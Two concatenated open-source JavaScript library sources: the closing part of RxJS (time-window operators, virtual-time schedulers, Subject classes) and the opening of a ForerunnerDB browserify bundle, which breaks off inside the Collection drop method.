* 2 - res = source.skipLastWithTime(5000, scheduler);
*
* @description
* This operator accumulates a queue with a length enough to store elements received during the initial duration window.
* As more elements are received, elements older than the specified duration are taken from the queue and produced on the
* result sequence. This causes elements to be delayed with duration.
* @param {Number} duration Duration for skipping elements from the end of the sequence.
* @param {Scheduler} [scheduler] Scheduler to run the timer on. If not specified, defaults to Rx.Scheduler.timeout
* @returns {Observable} An observable sequence with the elements skipped during the specified duration from the end of the source sequence.
*/
observableProto.skipLastWithTime = function (duration, scheduler) {
scheduler || (scheduler = timeoutScheduler);
var source = this;
return new AnonymousObservable(function (observer) {
var q = [];
return source.subscribe(function (x) {
var now = scheduler.now();
q.push({ interval: now, value: x });
while (q.length > 0 && now - q[0].interval >= duration) {
observer.onNext(q.shift().value);
}
}, observer.onError.bind(observer), function () {
var now = scheduler.now();
while (q.length > 0 && now - q[0].interval >= duration) {
observer.onNext(q.shift().value);
}
observer.onCompleted();
});
});
};
/**
* Returns elements within the specified duration from the end of the observable source sequence, using the specified schedulers to run timers and to drain the collected elements.
*
* @example
* 1 - res = source.takeLastWithTime(5000, [optional timer scheduler], [optional loop scheduler]);
* @description
* This operator accumulates a queue with a length enough to store elements received during the initial duration window.
* As more elements are received, elements older than the specified duration are taken from the queue and produced on the
* result sequence. This causes elements to be delayed with duration.
* @param {Number} duration Duration for taking elements from the end of the sequence.
* @param {Scheduler} [timerScheduler] Scheduler to run the timer on. If not specified, defaults to Rx.Scheduler.timeout.
* @param {Scheduler} [loopScheduler] Scheduler to drain the collected elements. If not specified, defaults to Rx.Scheduler.immediate.
* @returns {Observable} An observable sequence with the elements taken during the specified duration from the end of the source sequence.
*/
observableProto.takeLastWithTime = function (duration, timerScheduler, loopScheduler) {
return this.takeLastBufferWithTime(duration, timerScheduler).selectMany(function (xs) { return observableFromArray(xs, loopScheduler); });
};
/**
* Returns an array with the elements within the specified duration from the end of the observable source sequence, using the specified scheduler to run timers.
*
* @example
* 1 - res = source.takeLastBufferWithTime(5000, [optional scheduler]);
* @description
* This operator accumulates a queue with a length enough to store elements received during the initial duration window.
* As more elements are received, elements older than the specified duration are taken from the queue and produced on the
* result sequence. This causes elements to be delayed with duration.
* @param {Number} duration Duration for taking elements from the end of the sequence.
* @param {Scheduler} scheduler Scheduler to run the timer on. If not specified, defaults to Rx.Scheduler.timeout.
* @returns {Observable} An observable sequence containing a single array with the elements taken during the specified duration from the end of the source sequence.
*/
observableProto.takeLastBufferWithTime = function (duration, scheduler) {
var source = this;
scheduler || (scheduler = timeoutScheduler);
return new AnonymousObservable(function (observer) {
var q = [];
return source.subscribe(function (x) {
var now = scheduler.now();
q.push({ interval: now, value: x });
while (q.length > 0 && now - q[0].interval >= duration) {
q.shift();
}
}, observer.onError.bind(observer), function () {
var now = scheduler.now(), res = [];
while (q.length > 0) {
var next = q.shift();
if (now - next.interval <= duration) {
res.push(next.value);
}
}
observer.onNext(res);
observer.onCompleted();
});
});
};
/**
* Takes elements for the specified duration from the start of the observable source sequence, using the specified scheduler to run timers.
*
* @example
* 1 - res = source.takeWithTime(5000, [optional scheduler]);
* @description
* This operator accumulates a queue with a length enough to store elements received during the initial duration window.
* As more elements are received, elements older than the specified duration are taken from the queue and produced on the
* result sequence. This causes elements to be delayed with duration.
* @param {Number} duration Duration for taking elements from the start of the sequence.
* @param {Scheduler} scheduler Scheduler to run the timer on. If not specified, defaults to Rx.Scheduler.timeout.
* @returns {Observable} An observable sequence with the elements taken during the specified duration from the start of the source sequence.
*/
observableProto.takeWithTime = function (duration, scheduler) {
var source = this;
scheduler || (scheduler = timeoutScheduler);
return new AnonymousObservable(function (observer) {
var t = scheduler.scheduleWithRelative(duration, function () {
observer.onCompleted();
});
return new CompositeDisposable(t, source.subscribe(observer));
});
};
/**
* Skips elements for the specified duration from the start of the observable source sequence, using the specified scheduler to run timers.
*
* @example
* 1 - res = source.skipWithTime(5000, [optional scheduler]);
*
* @description
* Specifying a zero value for duration doesn't guarantee no elements will be dropped from the start of the source sequence.
* This is a side-effect of the asynchrony introduced by the scheduler, where the action that causes callbacks from the source sequence to be forwarded
* may not execute immediately, despite the zero due time.
*
* Errors produced by the source sequence are always forwarded to the result sequence, even if the error occurs before the duration.
* @param {Number} duration Duration for skipping elements from the start of the sequence.
* @param {Scheduler} scheduler Scheduler to run the timer on. If not specified, defaults to Rx.Scheduler.timeout.
* @returns {Observable} An observable sequence with the elements skipped during the specified duration from the start of the source sequence.
*/
observableProto.skipWithTime = function (duration, scheduler) {
var source = this;
scheduler || (scheduler = timeoutScheduler);
return new AnonymousObservable(function (observer) {
var open = false,
t = scheduler.scheduleWithRelative(duration, function () { open = true; }),
d = source.subscribe(function (x) {
if (open) {
observer.onNext(x);
}
}, observer.onError.bind(observer), observer.onCompleted.bind(observer));
return new CompositeDisposable(t, d);
});
};
/**
* Skips elements from the observable source sequence until the specified start time, using the specified scheduler to run timers.
* Errors produced by the source sequence are always forwarded to the result sequence, even if the error occurs before the start time.
*
* @examples
* 1 - res = source.skipUntilWithTime(new Date(), [optional scheduler]);
* 2 - res = source.skipUntilWithTime(5000, [optional scheduler]);
* @param startTime Time to start taking elements from the source sequence. If this value is less than or equal to Date(), no elements will be skipped.
* @param scheduler Scheduler to run the timer on. If not specified, defaults to Rx.Scheduler.timeout.
* @returns {Observable} An observable sequence with the elements skipped until the specified start time.
*/
observableProto.skipUntilWithTime = function (startTime, scheduler) {
scheduler || (scheduler = timeoutScheduler);
var source = this, schedulerMethod = startTime instanceof Date ?
'scheduleWithAbsolute' :
'scheduleWithRelative';
return new AnonymousObservable(function (observer) {
var open = false;
return new CompositeDisposable(
scheduler[schedulerMethod](startTime, function () { open = true; }),
source.subscribe(
function (x) { open && observer.onNext(x); },
observer.onError.bind(observer),
observer.onCompleted.bind(observer)));
});
};
/**
* Takes elements for the specified duration until the specified end time, using the specified scheduler to run timers.
*
* @example
* 1 - res = source.takeUntilWithTime(new Date(), [optional scheduler]);
* 2 - res = source.takeUntilWithTime(5000, [optional scheduler]);
* @param {Number | Date} endTime Time to stop taking elements from the source sequence. If this value is less than or equal to new Date(), the result stream will complete immediately.
* @param {Scheduler} scheduler Scheduler to run the timer on.
* @returns {Observable} An observable sequence with the elements taken until the specified end time.
*/
observableProto.takeUntilWithTime = function (endTime, scheduler) {
scheduler || (scheduler = timeoutScheduler);
var source = this, schedulerMethod = endTime instanceof Date ?
'scheduleWithAbsolute' :
'scheduleWithRelative';
return new AnonymousObservable(function (observer) {
return new CompositeDisposable(scheduler[schedulerMethod](endTime, function () {
observer.onCompleted();
}), source.subscribe(observer));
});
};
/** Provides a set of extension methods for virtual time scheduling. */
Rx.VirtualTimeScheduler = (function (_super) {
function notImplemented() {
throw new Error('Not implemented');
}
function localNow() {
return this.toDateTimeOffset(this.clock);
}
function scheduleNow(state, action) {
return this.scheduleAbsoluteWithState(state, this.clock, action);
}
function scheduleRelative(state, dueTime, action) {
return this.scheduleRelativeWithState(state, this.toRelative(dueTime), action);
}
function scheduleAbsolute(state, dueTime, action) {
return this.scheduleRelativeWithState(state, this.toRelative(dueTime - this.now()), action);
}
function invokeAction(scheduler, action) {
action();
return disposableEmpty;
}
inherits(VirtualTimeScheduler, _super);
/**
* Creates a new virtual time scheduler with the specified initial clock value and absolute time comparer.
*
* @constructor
* @param {Number} initialClock Initial value for the clock.
* @param {Function} comparer Comparer to determine causality of events based on absolute time.
*/
function VirtualTimeScheduler(initialClock, comparer) {
this.clock = initialClock;
this.comparer = comparer;
this.isEnabled = false;
this.queue = new PriorityQueue(1024);
_super.call(this, localNow, scheduleNow, scheduleRelative, scheduleAbsolute);
}
var VirtualTimeSchedulerPrototype = VirtualTimeScheduler.prototype;
/**
* Adds a relative time value to an absolute time value.
* @param {Number} absolute Absolute virtual time value.
* @param {Number} relative Relative virtual time value to add.
* @return {Number} Resulting absolute virtual time sum value.
*/
VirtualTimeSchedulerPrototype.add = notImplemented;
/**
* Converts an absolute time to a number
* @param {Any} The absolute time.
* @returns {Number} The absolute time in ms
*/
VirtualTimeSchedulerPrototype.toDateTimeOffset = notImplemented;
/**
* Converts the TimeSpan value to a relative virtual time value.
* @param {Number} timeSpan TimeSpan value to convert.
* @return {Number} Corresponding relative virtual time value.
*/
VirtualTimeSchedulerPrototype.toRelative = notImplemented;
/**
* Schedules a periodic piece of work by dynamically discovering the scheduler's capabilities. The periodic task will be emulated using recursive scheduling.
* @param {Mixed} state Initial state passed to the action upon the first iteration.
* @param {Number} period Period for running the work periodically.
* @param {Function} action Action to be executed, potentially updating the state.
* @returns {Disposable} The disposable object used to cancel the scheduled recurring action (best effort).
*/
VirtualTimeSchedulerPrototype.schedulePeriodicWithState = function (state, period, action) {
var s = new SchedulePeriodicRecursive(this, state, period, action);
return s.start();
};
/**
* Schedules an action to be executed after dueTime.
* @param {Mixed} state State passed to the action to be executed.
* @param {Number} dueTime Relative time after which to execute the action.
* @param {Function} action Action to be executed.
* @returns {Disposable} The disposable object used to cancel the scheduled action (best effort).
*/
VirtualTimeSchedulerPrototype.scheduleRelativeWithState = function (state, dueTime, action) {
var runAt = this.add(this.clock, dueTime);
return this.scheduleAbsoluteWithState(state, runAt, action);
};
/**
* Schedules an action to be executed at dueTime.
* @param {Number} dueTime Relative time after which to execute the action.
* @param {Function} action Action to be executed.
* @returns {Disposable} The disposable object used to cancel the scheduled action (best effort).
*/
VirtualTimeSchedulerPrototype.scheduleRelative = function (dueTime, action) {
return this.scheduleRelativeWithState(action, dueTime, invokeAction);
};
/**
* Starts the virtual time scheduler.
*/
VirtualTimeSchedulerPrototype.start = function () {
var next;
if (!this.isEnabled) {
this.isEnabled = true;
do {
next = this.getNext();
if (next !== null) {
if (this.comparer(next.dueTime, this.clock) > 0) {
this.clock = next.dueTime;
}
next.invoke();
} else {
this.isEnabled = false;
}
} while (this.isEnabled);
}
};
/**
* Stops the virtual time scheduler.
*/
VirtualTimeSchedulerPrototype.stop = function () {
this.isEnabled = false;
};
/**
* Advances the scheduler's clock to the specified time, running all work till that point.
* @param {Number} time Absolute time to advance the scheduler's clock to.
*/
VirtualTimeSchedulerPrototype.advanceTo = function (time) {
var next;
var dueToClock = this.comparer(this.clock, time);
if (this.comparer(this.clock, time) > 0) {
throw new Error(argumentOutOfRange);
}
if (dueToClock === 0) {
return;
}
if (!this.isEnabled) {
this.isEnabled = true;
do {
next = this.getNext();
if (next !== null && this.comparer(next.dueTime, time) <= 0) {
if (this.comparer(next.dueTime, this.clock) > 0) {
this.clock = next.dueTime;
}
next.invoke();
} else {
this.isEnabled = false;
}
} while (this.isEnabled);
this.clock = time;
}
};
/**
* Advances the scheduler's clock by the specified relative time, running all work scheduled for that timespan.
* @param {Number} time Relative time to advance the scheduler's clock by.
*/
VirtualTimeSchedulerPrototype.advanceBy = function (time) {
var dt = this.add(this.clock, time);
var dueToClock = this.comparer(this.clock, dt);
if (dueToClock > 0) {
throw new Error(argumentOutOfRange);
}
if (dueToClock === 0) {
return;
}
this.advanceTo(dt);
};
/**
* Advances the scheduler's clock by the specified relative time.
* @param {Number} time Relative time to advance the scheduler's clock by.
*/
VirtualTimeSchedulerPrototype.sleep = function (time) {
var dt = this.add(this.clock, time);
if (this.comparer(this.clock, dt) >= 0) {
throw new Error(argumentOutOfRange);
}
this.clock = dt;
};
/**
* Gets the next scheduled item to be executed.
* @returns {ScheduledItem} The next scheduled item.
*/
VirtualTimeSchedulerPrototype.getNext = function () {
var next;
while (this.queue.length > 0) {
next = this.queue.peek();
if (next.isCancelled()) {
this.queue.dequeue();
} else {
return next;
}
}
return null;
};
/**
* Schedules an action to be executed at dueTime.
* @param {Scheduler} scheduler Scheduler to execute the action on.
* @param {Number} dueTime Absolute time at which to execute the action.
* @param {Function} action Action to be executed.
* @returns {Disposable} The disposable object used to cancel the scheduled action (best effort).
*/
VirtualTimeSchedulerPrototype.scheduleAbsolute = function (dueTime, action) {
return this.scheduleAbsoluteWithState(action, dueTime, invokeAction);
};
/**
* Schedules an action to be executed at dueTime.
* @param {Mixed} state State passed to the action to be executed.
* @param {Number} dueTime Absolute time at which to execute the action.
* @param {Function} action Action to be executed.
* @returns {Disposable} The disposable object used to cancel the scheduled action (best effort).
*/
VirtualTimeSchedulerPrototype.scheduleAbsoluteWithState = function (state, dueTime, action) {
var self = this,
run = function (scheduler, state1) {
self.queue.remove(si);
return action(scheduler, state1);
},
si = new ScheduledItem(self, state, run, dueTime, self.comparer);
self.queue.enqueue(si);
return si.disposable;
};
return VirtualTimeScheduler;
}(Scheduler));
/** Provides a virtual time scheduler that uses Date for absolute time and number for relative time. */
Rx.HistoricalScheduler = (function (_super) {
inherits(HistoricalScheduler, _super);
/**
* Creates a new historical scheduler with the specified initial clock value.
*
* @constructor
* @param {Number} initialClock Initial value for the clock.
* @param {Function} comparer Comparer to determine causality of events based on absolute time.
*/
function HistoricalScheduler(initialClock, comparer) {
var clock = initialClock == null ? 0 : initialClock;
var cmp = comparer || defaultSubComparer;
_super.call(this, clock, cmp);
}
var HistoricalSchedulerProto = HistoricalScheduler.prototype;
/**
* Adds a relative time value to an absolute time value.
* @param {Number} absolute Absolute virtual time value.
* @param {Number} relative Relative virtual time value to add.
* @return {Number} Resulting absolute virtual time sum value.
*/
HistoricalSchedulerProto.add = function (absolute, relative) {
return absolute + relative;
};
/**
* @private
*/
HistoricalSchedulerProto.toDateTimeOffset = function (absolute) {
return new Date(absolute).getTime();
};
/**
* Converts the TimeSpan value to a relative virtual time value.
*
* @memberOf HistoricalScheduler
* @param {Number} timeSpan TimeSpan value to convert.
* @return {Number} Corresponding relative virtual time value.
*/
HistoricalSchedulerProto.toRelative = function (timeSpan) {
return timeSpan;
};
return HistoricalScheduler;
}(Rx.VirtualTimeScheduler));
var AnonymousObservable = Rx.AnonymousObservable = (function (_super) {
inherits(AnonymousObservable, _super);
// Fix subscriber to check for undefined or function returned to decorate as Disposable
function fixSubscriber(subscriber) {
if (typeof subscriber === 'undefined') {
subscriber = disposableEmpty;
} else if (typeof subscriber === 'function') {
subscriber = disposableCreate(subscriber);
}
return subscriber;
}
function AnonymousObservable(subscribe) {
if (!(this instanceof AnonymousObservable)) {
return new AnonymousObservable(subscribe);
}
function s(observer) {
var autoDetachObserver = new AutoDetachObserver(observer);
if (currentThreadScheduler.scheduleRequired()) {
currentThreadScheduler.schedule(function () {
try {
autoDetachObserver.setDisposable(fixSubscriber(subscribe(autoDetachObserver)));
} catch (e) {
if (!autoDetachObserver.fail(e)) {
throw e;
}
}
});
} else {
try {
autoDetachObserver.setDisposable(fixSubscriber(subscribe(autoDetachObserver)));
} catch (e) {
if (!autoDetachObserver.fail(e)) {
throw e;
}
}
}
return autoDetachObserver;
}
_super.call(this, s);
}
return AnonymousObservable;
}(Observable));
/** @private */
var AutoDetachObserver = (function (_super) {
inherits(AutoDetachObserver, _super);
function AutoDetachObserver(observer) {
_super.call(this);
this.observer = observer;
this.m = new SingleAssignmentDisposable();
}
var AutoDetachObserverPrototype = AutoDetachObserver.prototype;
AutoDetachObserverPrototype.next = function (value) {
var noError = false;
try {
this.observer.onNext(value);
noError = true;
} catch (e) {
throw e;
} finally {
if (!noError) {
this.dispose();
}
}
};
AutoDetachObserverPrototype.error = function (exn) {
try {
this.observer.onError(exn);
} catch (e) {
throw e;
} finally {
this.dispose();
}
};
AutoDetachObserverPrototype.completed = function () {
try {
this.observer.onCompleted();
} catch (e) {
throw e;
} finally {
this.dispose();
}
};
AutoDetachObserverPrototype.setDisposable = function (value) { this.m.setDisposable(value); };
AutoDetachObserverPrototype.getDisposable = function (value) { return this.m.getDisposable(); };
/* @private */
AutoDetachObserverPrototype.disposable = function (value) {
return arguments.length ? this.getDisposable() : setDisposable(value);
};
AutoDetachObserverPrototype.dispose = function () {
_super.prototype.dispose.call(this);
this.m.dispose();
};
return AutoDetachObserver;
}(AbstractObserver));
/** @private */
var GroupedObservable = (function (_super) {
inherits(GroupedObservable, _super);
function subscribe(observer) {
return this.underlyingObservable.subscribe(observer);
}
/**
* @constructor
* @private
*/
function GroupedObservable(key, underlyingObservable, mergedDisposable) {
_super.call(this, subscribe);
this.key = key;
this.underlyingObservable = !mergedDisposable ?
underlyingObservable :
new AnonymousObservable(function (observer) {
return new CompositeDisposable(mergedDisposable.getDisposable(), underlyingObservable.subscribe(observer));
});
}
return GroupedObservable;
}(Observable));
/**
* Represents an object that is both an observable sequence as well as an observer.
* Each notification is broadcasted to all subscribed observers.
*/
var Subject = Rx.Subject = (function (_super) {
function subscribe(observer) {
checkDisposed.call(this);
if (!this.isStopped) {
this.observers.push(observer);
return new InnerSubscription(this, observer);
}
if (this.exception) {
observer.onError(this.exception);
return disposableEmpty;
}
observer.onCompleted();
return disposableEmpty;
}
inherits(Subject, _super);
/**
* Creates a subject.
* @constructor
*/
function Subject() {
_super.call(this, subscribe);
this.isDisposed = false,
this.isStopped = false,
this.observers = [];
}
addProperties(Subject.prototype, Observer, {
/**
* Indicates whether the subject has observers subscribed to it.
* @returns {Boolean} Indicates whether the subject has observers subscribed to it.
*/
hasObservers: function () {
return this.observers.length > 0;
},
/**
* Notifies all subscribed observers about the end of the sequence.
*/
onCompleted: function () {
checkDisposed.call(this);
if (!this.isStopped) {
var os = this.observers.slice(0);
this.isStopped = true;
for (var i = 0, len = os.length; i < len; i++) {
os[i].onCompleted();
}
this.observers = [];
}
},
/**
* Notifies all subscribed observers about the exception.
* @param {Mixed} error The exception to send to all observers.
*/
onError: function (exception) {
checkDisposed.call(this);
if (!this.isStopped) {
var os = this.observers.slice(0);
this.isStopped = true;
this.exception = exception;
for (var i = 0, len = os.length; i < len; i++) {
os[i].onError(exception);
}
this.observers = [];
}
},
/**
* Notifies all subscribed observers about the arrival of the specified element in the sequence.
* @param {Mixed} value The value to send to all observers.
*/
onNext: function (value) {
checkDisposed.call(this);
if (!this.isStopped) {
var os = this.observers.slice(0);
for (var i = 0, len = os.length; i < len; i++) {
os[i].onNext(value);
}
}
},
/**
* Unsubscribe all observers and release resources.
*/
dispose: function () {
this.isDisposed = true;
this.observers = null;
}
});
/**
* Creates a subject from the specified observer and observable.
* @param {Observer} observer The observer used to send messages to the subject.
* @param {Observable} observable The observable used to subscribe to messages sent from the subject.
* @returns {Subject} Subject implemented using the given observer and observable.
*/
Subject.create = function (observer, observable) {
return new AnonymousSubject(observer, observable);
};
return Subject;
}(Observable));
/**
* Represents the result of an asynchronous operation.
* The last value before the OnCompleted notification, or the error received through OnError, is sent to all subscribed observers.
*/
var AsyncSubject = Rx.AsyncSubject = (function (_super) {
function subscribe(observer) {
checkDisposed.call(this);
if (!this.isStopped) {
this.observers.push(observer);
return new InnerSubscription(this, observer);
}
var ex = this.exception,
hv = this.hasValue,
v = this.value;
if (ex) {
observer.onError(ex);
} else if (hv) {
observer.onNext(v);
observer.onCompleted();
} else {
observer.onCompleted();
}
return disposableEmpty;
}
inherits(AsyncSubject, _super);
/**
* Creates a subject that can only receive one value and that value is cached for all future observations.
* @constructor
*/
function AsyncSubject() {
_super.call(this, subscribe);
this.isDisposed = false;
this.isStopped = false;
this.value = null;
this.hasValue = false;
this.observers = [];
this.exception = null;
}
addProperties(AsyncSubject.prototype, Observer, {
/**
* Indicates whether the subject has observers subscribed to it.
* @returns {Boolean} Indicates whether the subject has observers subscribed to it.
*/
hasObservers: function () {
checkDisposed.call(this);
return this.observers.length > 0;
},
/**
* Notifies all subscribed observers about the end of the sequence, also causing the last received value to be sent out (if any).
*/
onCompleted: function () {
var o, i, len;
checkDisposed.call(this);
if (!this.isStopped) {
this.isStopped = true;
var os = this.observers.slice(0),
v = this.value,
hv = this.hasValue;
if (hv) {
for (i = 0, len = os.length; i < len; i++) {
o = os[i];
o.onNext(v);
o.onCompleted();
}
} else {
for (i = 0, len = os.length; i < len; i++) {
os[i].onCompleted();
}
}
this.observers = [];
}
},
/**
* Notifies all subscribed observers about the exception.
* @param {Mixed} error The exception to send to all observers.
*/
onError: function (exception) {
checkDisposed.call(this);
if (!this.isStopped) {
var os = this.observers.slice(0);
this.isStopped = true;
this.exception = exception;
for (var i = 0, len = os.length; i < len; i++) {
os[i].onError(exception);
}
this.observers = [];
}
},
/**
* Sends a value to the subject. The last value received before successful termination will be sent to all subscribed and future observers.
* @param {Mixed} value The value to store in the subject.
*/
onNext: function (value) {
checkDisposed.call(this);
if (!this.isStopped) {
this.value = value;
this.hasValue = true;
}
},
/**
* Unsubscribe all observers and release resources.
*/
dispose: function () {
this.isDisposed = true;
this.observers = null;
this.exception = null;
this.value = null;
}
});
return AsyncSubject;
}(Observable));
/** @private */
var AnonymousSubject = (function (_super) {
inherits(AnonymousSubject, _super);
function subscribe(observer) {
return this.observable.subscribe(observer);
}
/**
* @private
* @constructor
*/
function AnonymousSubject(observer, observable) {
_super.call(this, subscribe);
this.observer = observer;
this.observable = observable;
}
addProperties(AnonymousSubject.prototype, Observer, {
/**
* @private
* @memberOf AnonymousSubject#
*/
onCompleted: function () {
this.observer.onCompleted();
},
/**
* @private
* @memberOf AnonymousSubject#
*/
onError: function (exception) {
this.observer.onError(exception);
},
/**
* @private
* @memberOf AnonymousSubject#
*/
onNext: function (value) {
this.observer.onNext(value);
}
});
return AnonymousSubject;
}(Observable));
if (typeof define == 'function' && typeof define.amd == 'object' && define.amd) {
root.Rx = Rx;
define(function() {
return Rx;
});
} else if (freeExports && freeModule) {
// in Node.js or RingoJS
if (moduleExports) {
(freeModule.exports = Rx).Rx = Rx;
} else {
freeExports.Rx = Rx;
}
} else {
// in a browser or Rhino
root.Rx = Rx;
}
}.call(this));
|
ajax/libs/forerunnerdb/1.3.57/fdb-core+views.js
|
maruilian11/cdnjs
|
(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(_dereq_,module,exports){
var Core = _dereq_('../lib/Core'),
View = _dereq_('../lib/View');
if (typeof window !== 'undefined') {
window.ForerunnerDB = Core;
}
module.exports = Core;
},{"../lib/Core":5,"../lib/View":26}],2:[function(_dereq_,module,exports){
"use strict";
var Shared = _dereq_('./Shared');
/**
* Creates an always-sorted multi-key bucket that allows ForerunnerDB to
* know the index that a document will occupy in an array with minimal
* processing, speeding up things like sorted views.
* @param {object} orderBy An order object.
* @constructor
*/
var ActiveBucket = function (orderBy) {
var sortKey;
this._primaryKey = '_id';
this._keyArr = [];
this._data = [];
this._objLookup = {};
this._count = 0;
for (sortKey in orderBy) {
if (orderBy.hasOwnProperty(sortKey)) {
this._keyArr.push({
key: sortKey,
dir: orderBy[sortKey]
});
}
}
};
Shared.addModule('ActiveBucket', ActiveBucket);
Shared.mixin(ActiveBucket.prototype, 'Mixin.Sorting');
/**
* Gets / sets the primary key used by the active bucket.
* @returns {String} The current primary key.
*/
Shared.synthesize(ActiveBucket.prototype, 'primaryKey');
/**
* Quicksorts a single document into the passed array and
* returns the index that the document should occupy.
* @param {object} obj The document to calculate index for.
* @param {array} arr The array the document index will be
* calculated for.
* @param {string} item The string key representation of the
* document whose index is being calculated.
* @param {function} fn The comparison function that is used
* to determine if a document is sorted below or above the
* document we are calculating the index for.
* @returns {number} The index the document should occupy.
*/
ActiveBucket.prototype.qs = function (obj, arr, item, fn) {
// If the array is empty then return index zero
if (!arr.length) {
return 0;
}
var lastMidwayIndex = -1,
midwayIndex,
lookupItem,
result,
start = 0,
end = arr.length - 1;
// Loop the data until our range overlaps
while (end >= start) {
// Calculate the midway point (divide and conquer)
midwayIndex = Math.floor((start + end) / 2);
if (lastMidwayIndex === midwayIndex) {
// No more items to scan
break;
}
// Get the item to compare against
lookupItem = arr[midwayIndex];
if (lookupItem !== undefined) {
// Compare items
result = fn(this, obj, item, lookupItem);
if (result > 0) {
start = midwayIndex + 1;
}
if (result < 0) {
end = midwayIndex - 1;
}
}
lastMidwayIndex = midwayIndex;
}
if (result > 0) {
return midwayIndex + 1;
} else {
return midwayIndex;
}
};
/**
* Calculates the sort position of an item against another item.
* @param {object} sorter An object or instance that contains
* sortAsc and sortDesc methods.
* @param {object} obj The document to compare.
* @param {string} a The first key to compare.
* @param {string} b The second key to compare.
* @returns {number} Either 1 for sort a after b or -1 to sort
* a before b.
* @private
*/
ActiveBucket.prototype._sortFunc = function (sorter, obj, a, b) {
var aVals = a.split('.:.'),
bVals = b.split('.:.'),
arr = sorter._keyArr,
count = arr.length,
index,
sortType,
castType;
for (index = 0; index < count; index++) {
sortType = arr[index];
castType = typeof obj[sortType.key];
if (castType === 'number') {
aVals[index] = Number(aVals[index]);
bVals[index] = Number(bVals[index]);
}
// Check for non-equal items
if (aVals[index] !== bVals[index]) {
// Return the sorted items
if (sortType.dir === 1) {
return sorter.sortAsc(aVals[index], bVals[index]);
}
if (sortType.dir === -1) {
return sorter.sortDesc(aVals[index], bVals[index]);
}
}
}
};
/**
* Inserts a document into the active bucket.
* @param {object} obj The document to insert.
* @returns {number} The index the document now occupies.
*/
ActiveBucket.prototype.insert = function (obj) {
var key,
keyIndex;
key = this.documentKey(obj);
keyIndex = this._data.indexOf(key);
if (keyIndex === -1) {
// Insert key
keyIndex = this.qs(obj, this._data, key, this._sortFunc);
this._data.splice(keyIndex, 0, key);
} else {
this._data.splice(keyIndex, 0, key);
}
this._objLookup[obj[this._primaryKey]] = key;
this._count++;
return keyIndex;
};
/**
* Removes a document from the active bucket.
* @param {object} obj The document to remove.
* @returns {boolean} True if the document was removed
* successfully or false if it wasn't found in the active
* bucket.
*/
ActiveBucket.prototype.remove = function (obj) {
var key,
keyIndex;
key = this._objLookup[obj[this._primaryKey]];
if (key) {
keyIndex = this._data.indexOf(key);
if (keyIndex > -1) {
this._data.splice(keyIndex, 1);
delete this._objLookup[obj[this._primaryKey]];
this._count--;
return true;
} else {
return false;
}
}
return false;
};
/**
* Get the index that the passed document currently occupies
* or the index it will occupy if added to the active bucket.
* @param {object} obj The document to get the index for.
* @returns {number} The index.
*/
ActiveBucket.prototype.index = function (obj) {
var key,
keyIndex;
key = this.documentKey(obj);
keyIndex = this._data.indexOf(key);
if (keyIndex === -1) {
// Get key index
keyIndex = this.qs(obj, this._data, key, this._sortFunc);
}
return keyIndex;
};
/**
* The key that represents the passed document.
* @param {object} obj The document to get the key for.
* @returns {string} The document key.
*/
ActiveBucket.prototype.documentKey = function (obj) {
var key = '',
arr = this._keyArr,
count = arr.length,
index,
sortType;
for (index = 0; index < count; index++) {
sortType = arr[index];
if (key) {
key += '.:.';
}
key += obj[sortType.key];
}
// Add the unique identifier on the end of the key
key += '.:.' + obj[this._primaryKey];
return key;
};
/**
* Get the number of documents currently indexed in the active
* bucket instance.
* @returns {number} The number of documents.
*/
ActiveBucket.prototype.count = function () {
return this._count;
};
Shared.finishModule('ActiveBucket');
module.exports = ActiveBucket;
},{"./Shared":25}],3:[function(_dereq_,module,exports){
"use strict";
var Shared,
Db,
Metrics,
KeyValueStore,
Path,
IndexHashMap,
IndexBinaryTree,
Crc,
Overload,
ReactorIO;
Shared = _dereq_('./Shared');
/**
* Creates a new collection. Collections store multiple documents and
* handle CRUD against those documents.
* @constructor
*/
var Collection = function (name) {
this.init.apply(this, arguments);
};
Collection.prototype.init = function (name, options) {
this._primaryKey = '_id';
this._primaryIndex = new KeyValueStore('primary');
this._primaryCrc = new KeyValueStore('primaryCrc');
this._crcLookup = new KeyValueStore('crcLookup');
this._name = name;
this._data = [];
this._metrics = new Metrics();
this._options = options || {
changeTimestamp: false
};
// Create an object to store internal protected data
this._internalData = {};
this._deferQueue = {
insert: [],
update: [],
remove: [],
upsert: []
};
this._deferThreshold = {
insert: 100,
update: 100,
remove: 100,
upsert: 100
};
this._deferTime = {
insert: 1,
update: 1,
remove: 1,
upsert: 1
};
// Set the subset to itself since it is the root collection
this.subsetOf(this);
};
Shared.addModule('Collection', Collection);
Shared.mixin(Collection.prototype, 'Mixin.Common');
Shared.mixin(Collection.prototype, 'Mixin.Events');
Shared.mixin(Collection.prototype, 'Mixin.ChainReactor');
Shared.mixin(Collection.prototype, 'Mixin.CRUD');
Shared.mixin(Collection.prototype, 'Mixin.Constants');
Shared.mixin(Collection.prototype, 'Mixin.Triggers');
Shared.mixin(Collection.prototype, 'Mixin.Sorting');
Shared.mixin(Collection.prototype, 'Mixin.Matching');
Shared.mixin(Collection.prototype, 'Mixin.Updating');
Metrics = _dereq_('./Metrics');
KeyValueStore = _dereq_('./KeyValueStore');
Path = _dereq_('./Path');
IndexHashMap = _dereq_('./IndexHashMap');
IndexBinaryTree = _dereq_('./IndexBinaryTree');
Crc = _dereq_('./Crc');
Db = Shared.modules.Db;
Overload = _dereq_('./Overload');
ReactorIO = _dereq_('./ReactorIO');
/**
* Returns a checksum of a string.
* @param {String} string The string to checksum.
* @return {String} The checksum generated.
*/
Collection.prototype.crc = Crc;
/**
* Gets / sets the current state.
* @param {String=} val The name of the state to set.
* @returns {*}
*/
Shared.synthesize(Collection.prototype, 'state');
/**
* Gets / sets the name of the collection.
* @param {String=} val The name of the collection to set.
* @returns {*}
*/
Shared.synthesize(Collection.prototype, 'name');
/**
* Get the internal data array that represents the collection's data.
* This data is returned by reference and should not be altered outside
* of the provided CRUD functionality of the collection as doing so
* may cause unstable index behaviour within the collection.
* @returns {Array}
*/
Collection.prototype.data = function () {
return this._data;
};
/**
* Drops a collection and all it's stored data from the database.
* @returns {boolean} True on success, false on failure.
*/
Collection.prototype.drop = function (callback) {
var key;
